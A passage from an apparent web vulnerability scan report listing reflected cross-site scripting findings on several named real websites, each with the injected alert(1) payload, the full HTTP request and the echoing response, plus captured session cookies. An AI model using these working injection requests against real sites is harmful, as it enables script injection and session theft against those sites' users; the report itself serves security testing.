location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-status.htm5c515"-alert(1)-"7bf535b9c379d72a2&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.237. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8be4"-alert(1)-"d6783e1163 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare/page-status.htmc8be4"-alert(1)-"d6783e1163?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:07:02 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:07:00 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
Set-Cookie: PHPSESSID=ahuihimc4tj19i9bcm9fnel7i7; expires=Fri, 10-Jun-2011 14:07:01 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=c68ad914b89302849848485204378b90; expires=Sun, 08-May-2016 14:07:01 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:07:00 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:07:01 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
X-Accel-Expires: 0
Content-Length: 22642

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-status.htmc8be4"-alert(1)-"d6783e1163&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.238. https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d25f8"-alert(1)-"43ce5d2b069 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd%22-alert(1)-%222ec977d129d25f8"-alert(1)-"43ce5d2b069/images/androidcentral/ab_test_11/ac_hero_bg2.jpg HTTP/1.1
Host: secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; __utma=1.887762698070921500.1305049945.1305049945.1305049945.1; __utmb=1.12.10.1305049945; __utmc=1; __utmz=1.1305049945.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/34; __utmv=1.store.androidcentral.com; store_id_secure=15; visitor_id=57e98fb80a186695d4172a973b05110a; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 17:56:30 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
e('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd22-alert(1)-222ec977d129d25f8"-alert(1)-"43ce5d2b069/images/androidcentral/ab_test_11/ac_hero_bg2.jpg&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.239. https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb373"-alert(1)-"64ba4453f6a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd%22-alert(1)-%222ec977d129/imagesfb373"-alert(1)-"64ba4453f6a/androidcentral/ab_test_11/ac_hero_bg2.jpg HTTP/1.1
Host: secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; __utma=1.887762698070921500.1305049945.1305049945.1305049945.1; __utmb=1.12.10.1305049945; __utmc=1; __utmz=1.1305049945.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/34; __utmv=1.store.androidcentral.com; store_id_secure=15; visitor_id=57e98fb80a186695d4172a973b05110a; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 17:56:49 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64895

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
ializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd22-alert(1)-222ec977d129/imagesfb373"-alert(1)-"64ba4453f6a/androidcentral/ab_test_11/ac_hero_bg2.jpg&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.240. https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c360"-alert(1)-"09c6940ab24 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral4c360"-alert(1)-"09c6940ab24/ab_test_11/ac_hero_bg2.jpg HTTP/1.1
Host: secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; __utma=1.887762698070921500.1305049945.1305049945.1305049945.1; __utmb=1.12.10.1305049945; __utmc=1; __utmz=1.1305049945.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/34; __utmv=1.store.androidcentral.com; store_id_secure=15; visitor_id=57e98fb80a186695d4172a973b05110a; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 17:57:19 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
ector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd22-alert(1)-222ec977d129/images/androidcentral4c360"-alert(1)-"09c6940ab24/ab_test_11/ac_hero_bg2.jpg&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.241. https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a58e"-alert(1)-"74dc623959d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_117a58e"-alert(1)-"74dc623959d/ac_hero_bg2.jpg HTTP/1.1
Host: secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; __utma=1.887762698070921500.1305049945.1305049945.1305049945.1; __utmb=1.12.10.1305049945; __utmc=1; __utmz=1.1305049945.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/34; __utmv=1.store.androidcentral.com; store_id_secure=15; visitor_id=57e98fb80a186695d4172a973b05110a; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 17:57:48 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64963

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
e',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd22-alert(1)-222ec977d129/images/androidcentral/ab_test_117a58e"-alert(1)-"74dc623959d/ac_hero_bg2.jpg&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.242. http://seg.sharethis.com/partners.php [partner parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://seg.sharethis.com
Path:	/partners.php

Issue detail

The value of the partner request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a78f"%3balert(1)//cf6aae4e77d was submitted in the partner parameter. This input was echoed as 7a78f";alert(1)//cf6aae4e77d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /partners.php?partner=netshelter7a78f"%3balert(1)//cf6aae4e77d&rnd=1305033272627 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Tue, 10 May 2011 13:34:14 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 810

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
<script type="text/javascript">
                    var current_date = new Date;
                    var cookie_string = "__uset_netshelter7a78f";alert(1)//cf6aae4e77d" + "=" + escape("yes");
                    var expires = new Date (current_date.getTime()+(1000*60*60*24));
                    cookie_string += "; expires=" + expires.toGMTString();
                    cookie_string += "; domain=" + esca
...[SNIP]...

4.243. http://slashphone.us.intellitxt.com/al.asp [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://slashphone.us.intellitxt.com
Path:	/al.asp

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 378dd%3balert(1)//8d3e074ddfa was submitted in the jscallback parameter. This input was echoed as 378dd;alert(1)//8d3e074ddfa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /al.asp?ts=20110510131445&adid=0%2C0%2C89668&cc=us&di=33127185%2C33127194%2C32401464&hk=1&ipid=18581&mh=f117718be4baa69f42681001e74c7908&pid=2%2C2%2C2&pvm=0160708a0747e5bcbcf990202ce07ede&pvu=0386C7598DD7465EA8EEA7559B6E8820&rcc=us&so=0&syid=0%2C0%2C0&uf=0%2C0%2C2&ur=0%2C0%2C32&kp=419%2C923%3B298%2C1413%3B71%2C2080%3B&prf=ll%3A6541%7Cintl%3A12671%7Cpreprochrome%3A2%7Cgetconchrome%3A28%7Cadvint%3A12709%7Cadvl%3A12709%7Ctl%3A12811&jscallback=$iTXT.js.callback1378dd%3balert(1)//8d3e074ddfa HTTP/1.1
Host: slashphone.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/javascript
Content-Length: 65
Date: Tue, 10 May 2011 13:44:32 GMT
Age: 0
Connection: keep-alive

try{$iTXT.js.callback1378dd;alert(1)//8d3e074ddfa();}catch(e){}

4.244. http://slashphone.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://slashphone.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload adea5'-alert(1)-'f51efdcaba7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=18581&adea5'-alert(1)-'f51efdcaba7=1 HTTP/1.1
Host: slashphone.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKyQEAAAABAAABL5IvXhoAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAK5wEAAAABAAABL5IvXhoAAApdAQAAAAEAAAEv1Y1ySwAACtUBAAAAAQAAAS+SL14aAAAKxwEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAAq7Eue"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAoAAAEv2gstJAA-

Response

HTTP/1.1 200 OK
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAsAAAEv2hvwewA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:32:34 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAsAAAEv2hvwewA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:32:34 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:32:34 GMT
Age: 0
Connection: keep-alive
Content-Length: 11735

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...
le,aol,ask,live,bing",
'ids.aol':"10",
'fields.aol':"query,as_q,q",
'fields.ask':"q",
'fields.google':"q,as_q"};
$iTXT.js.serverUrl='http://slashphone.us.intellitxt.com';$iTXT.js.pageQuery='ipid=18581&adea5'-alert(1)-'f51efdcaba7=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}

4.245. http://slashphone.us.intellitxt.com/v4/init [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://slashphone.us.intellitxt.com
Path:	/v4/init

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e8226%3balert(1)//f129b07c1d1 was submitted in the jscallback parameter. This input was echoed as e8226;alert(1)//f129b07c1d1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033279167&pagecl=15947&fv=10&muid=&refurl=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&ipid=18581&jscallback=$iTXT.js.callback0e8226%3balert(1)//f129b07c1d1 HTTP/1.1
Host: slashphone.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKyQEAAAABAAABL5IvXhoAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAK5wEAAAABAAABL5IvXhoAAApdAQAAAAEAAAEv1Y1ySwAACtUBAAAAAQAAAS+SL14aAAAKxwEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAAq7Eue"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAsAAAEv2gtIUwA-

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:41:05 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:41:05 GMT
Age: 0
Connection: keep-alive
Content-Length: 18668

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
et('initskip',0);$iTXT.data.Context.params.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');try{$iTXT.js.callback0e8226;alert(1)//f129b07c1d1({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}

4.246. http://slashphone.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://slashphone.us.intellitxt.com
Path:	/v4/init

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5dc0"-alert(1)-"1e2ddfb2c25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033279167&pagecl=15947&fv=10&muid=&refurl=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&ipid=18581&jscallback=$iTXT.js.callback0&b5dc0"-alert(1)-"1e2ddfb2c25=1 HTTP/1.1
Host: slashphone.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKyQEAAAABAAABL5IvXhoAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAK5wEAAAABAAABL5IvXhoAAApdAQAAAAEAAAEv1Y1ySwAACtUBAAAAAQAAAS+SL14aAAAKxwEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAAq7Eue"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAsAAAEv2gtIUwA-

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:42:28 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:42:28 GMT
Age: 0
Connection: keep-alive
Content-Length: 18642

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
10);var undefined;if(null==$iTXT.glob.dbgParams||undefined==$iTXT.glob.dbgParams){$iTXT.glob.dbgParams=new $iTXT.data.Param($iTXT.glob.dbParams,undefined,undefined,'DEBUG');}$iTXT.glob.dbgParams.set({"b5dc0"-alert(1)-"1e2ddfb2c25":"1","pagecl":"15947","fv":"10","ts":"1305033279167","dma":623,"POSTCODE":"75207","user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534
...[SNIP]...

4.247. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://store.androidcentral.com
Path:	/belkin-headphone-splitter-y-adapter/11A75A6767.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18fd5"-alert(1)-"ea30c0ce664 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /belkin-headphone-splitter-y-adapter/11A75A6767.htm18fd5"-alert(1)-"ea30c0ce664 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-headsets.htm
